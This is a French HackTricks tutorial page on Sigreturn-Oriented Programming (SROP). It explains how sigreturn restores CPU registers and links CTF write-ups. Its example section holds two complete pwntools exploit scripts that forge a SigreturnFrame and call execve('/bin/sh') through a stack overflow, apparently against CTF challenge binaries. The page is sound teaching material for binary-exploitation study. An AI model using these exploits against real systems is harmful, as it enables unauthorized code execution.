SROP - Sigreturn-Oriented Programming
Reading time: 6 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
Basic Information
Sigreturn
est un syscall spécial principalement utilisé pour nettoyer après qu'un gestionnaire de signal a terminé son exécution. Les signaux sont des interruptions envoyées à un programme par le système d'exploitation, souvent pour indiquer qu'une situation exceptionnelle s'est produite. Lorsqu'un programme reçoit un signal, il met temporairement en pause son travail actuel pour gérer le signal avec un gestionnaire de signal, une fonction spéciale conçue pour traiter les signaux.
Après que le gestionnaire de signal a terminé, le programme doit reprendre son état précédent comme si rien ne s'était passé. C'est là que sigreturn
entre en jeu. Il aide le programme à retourner du gestionnaire de signal et restaure l'état du programme en nettoyant le cadre de pile (la section de mémoire qui stocke les appels de fonction et les variables locales) qui a été utilisé par le gestionnaire de signal.
La partie intéressante est comment sigreturn
restaure l'état du programme : il le fait en stockant toutes les valeurs des registres du CPU sur la pile. Lorsque le signal n'est plus bloqué, sigreturn
dépile ces valeurs de la pile, réinitialisant effectivement les registres du CPU à leur état avant que le signal ne soit traité. Cela inclut le registre du pointeur de pile (RSP), qui pointe vers le sommet actuel de la pile.
caution
Appeler le syscall sigreturn
à partir d'une chaîne ROP et ajouter les valeurs de registre que nous aimerions charger dans la pile permet de contrôler toutes les valeurs de registre et donc de appeler par exemple le syscall execve
avec /bin/sh
.
Notez comment cela serait un type de Ret2syscall qui facilite beaucoup le contrôle des paramètres pour appeler d'autres Ret2syscalls :
Si vous êtes curieux, voici la structure sigcontext stockée dans la pile pour récupérer plus tard les valeurs (diagramme de ici):
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
+--------------------+--------------------+
| &uc | uc_stack.ss_sp |
+--------------------+--------------------+
| uc_stack.ss_flags | uc.stack.ss_size |
+--------------------+--------------------+
| r8 | r9 |
+--------------------+--------------------+
| r10 | r11 |
+--------------------+--------------------+
| r12 | r13 |
+--------------------+--------------------+
| r14 | r15 |
+--------------------+--------------------+
| rdi | rsi |
+--------------------+--------------------+
| rbp | rbx |
+--------------------+--------------------+
| rdx | rax |
+--------------------+--------------------+
| rcx | rsp |
+--------------------+--------------------+
| rip | eflags |
+--------------------+--------------------+
| cs / gs / fs | err |
+--------------------+--------------------+
| trapno | oldmask (unused) |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate |
+--------------------+--------------------+
| __reserved | sigmask |
+--------------------+--------------------+
Pour une meilleure explication, consultez également :
Exemple
Vous pouvez trouver un exemple ici où l'appel à signeturn est construit via ROP (en mettant dans rxa la valeur 0xf
), bien que cela soit l'exploit final à partir de là :
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = process()
BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015
frame = SigreturnFrame()
frame.rax = 0x3b # syscall number for execve
frame.rdi = BINSH # pointer to /bin/sh
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
frame.rip = SYSCALL_RET
payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf) # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
Vérifiez également l'exploit ici où le binaire appelait déjà sigreturn
et il n'est donc pas nécessaire de le construire avec un ROP :
from pwn import *
# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)
# Establish the target architecture
context.arch = "amd64"
# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)
# Start making our sigreturn frame
frame = SigreturnFrame()
frame.rip = 0x400185 # Syscall instruction
frame.rax = 59 # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack
target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
Autres exemples et références
- https://youtu.be/ADULSwnQs-s?feature=shared
- https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop
- https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html
- Binaire d'assemblage qui permet de écrire sur la pile et ensuite appelle le syscall
sigreturn
. Il est possible d'écrire sur la pile un ret2syscall via une structure sigreturn et de lire le flag qui se trouve dans la mémoire du binaire. - https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html
- Binaire d'assemblage qui permet de écrire sur la pile et ensuite appelle le syscall
sigreturn
. Il est possible d'écrire sur la pile un ret2syscall via une structure sigreturn (le binaire a la chaîne/bin/sh
). - https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html
- 64 bits, pas de relro, pas de canary, nx, pas de pie. Débordement de tampon simple abusant de la fonction
gets
avec un manque de gadgets qui effectue un ret2syscall. La chaîne ROP écrit/bin/sh
dans le.bss
en appelant à nouveau gets, elle abuse de la fonctionalarm
pour définir eax à0xf
afin d'appeler un SROP et d'exécuter un shell. - https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html
- Programme d'assemblage 64 bits, pas de relro, pas de canary, nx, pas de pie. Le flux permet d'écrire dans la pile, de contrôler plusieurs registres et d'appeler un syscall puis il appelle
exit
. Le syscall sélectionné est unsigreturn
qui va définir les registres et déplacereip
pour appeler une instruction syscall précédente et exécutermemprotect
pour définir l'espace binaire àrwx
et définir l'ESP dans l'espace binaire. En suivant le flux, le programme appellera à nouveau read dans ESP, mais dans ce cas, ESP pointera vers l'instruction suivante, donc passer un shellcode l'écrira comme l'instruction suivante et l'exécutera. - https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection
- SROP est utilisé pour donner des privilèges d'exécution (memprotect) à l'endroit où un shellcode a été placé.
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.